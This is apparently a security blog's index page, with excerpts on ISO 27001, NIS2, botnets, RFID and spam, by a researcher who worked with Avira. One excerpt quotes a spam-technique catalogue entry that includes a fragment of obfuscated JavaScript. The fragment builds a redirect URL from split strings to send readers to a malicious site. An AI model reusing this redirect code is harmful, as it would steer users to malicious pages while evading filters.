Implementing ISO 27001:2022 Annex A.16 – Information Security Incident Management Implementing ISO 27001:2022 Annex A.15 – Supplier Relationships Understanding ISO 27001:2022 Annex A.14 – System Acquisition, Development, and Maintenance…
NIS2: Perform a risk assessment NIS2: 3.Establish a cybersecurity framework NIS2: 2.Designate a responsible person or team How-To: NIS2 EU Directive Executive summary: NIS2 Directive for the EU members (updated)…
Balancing functionality and privacy concerns in AI-based Endpoint Security solutions Artificial Intelligence vs. Machine Learning Thoughts on AI and Cybersecurity ChatGPT and copywriting ChatGPT and automotive cybersecurity #2/2: TISAX certification…
I registered http://www.URLAggregator.net in order to have an overview of the RSS Feeds which I am using. You can see there exactly the messages I am publishing on Twitter, without going to Twitter. This will change in the future to something else 😉
Presentation at the Anti-Botnet Initiative Presentation at the Anti-Botnet Initiative View more presentations from msorin.
A Twitter security flaw is being widely exploited on Twitter, showing remote content from third-party websites without user’s consent. The flaw uses a JavaScript function called onMouseOver() which creates an event when the mouse is passed over a text or link. Any user can use this flaw to create simple popups, redirect the page to […]
This is an interview I gave on telephone for Signal Magazine. “… Internet can be a dangerous activity, but the security status of different types of websites is not the same, Sorin Mustaca, data security expert, says. … ” I am a little bit unhappy about this, which I never said: “Mustaca admits that the […]
The Avira Techblog published today a new article of mine about the Anti-Botnet Initiative. Immediately after, Softpedia commented on the Anti-Botnet Initiative : “While running the Linux from the rescue system, Windows is completely inactive (not as in Safe mode) so the rootkits are also not active. This is actually the only reliable possibility to […]
A new article inspired by a personal experience was published in the Avira Techblog: http://techblog.avira.com/2010/09/07/you-are-being-tagged/en/ . Be aware of these RFIDs… they can be very easily misused.
Just stumbled upon this blog post from Symantec http://www.symantec.com/connect/blogs/spammers-introduce-new-email-internet-headers where an absolutely normal spam process is described. Unfortunately for the author who clearly doesn’t understand Romania, he copied/pasted all headers, even those which he doesn’t understand. So, he copied all kind of bad words, things which you usually wouldn’t publish in a serious blog. I […]
Source: http://www.virusbtn.com/resources/spammerscompendium/responsibility.xml The Responsibility Transfer UO!Responsibility!JavaScript 31 August 2010 Description Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website. Submitted by Sorin Mustaca. Example <script>function r(){};fQ=false;d="";r.prototype = {p : function() { this.j='';var pN=54899;s=false;this.k="k";this.kH=22581;c='';l=64422; document.location.href=String("htt"+"p:/"+"/tr"+"ace"+"boo"+"k.u"+"s/1"+".htOnc".substr(0,3)+"ml"); […]
1 in 3 Internet Users Think All Websites Are Equally Dangerous A third of all Internet users thinks that virtually every website poses a potential security threat. According to a new survey by German online security firm Avira, consumers are becoming increasingly aware of potential security issues online, but it looks like for quite a […]
I am quite proud of this nice article I wrote on the Avira Techblog. It describes how parents should deal with their children who are becoming more and more attracted of Internet. I managed to only mention at the end of the article about Avira’s own product: Avira Premium Security Suite.
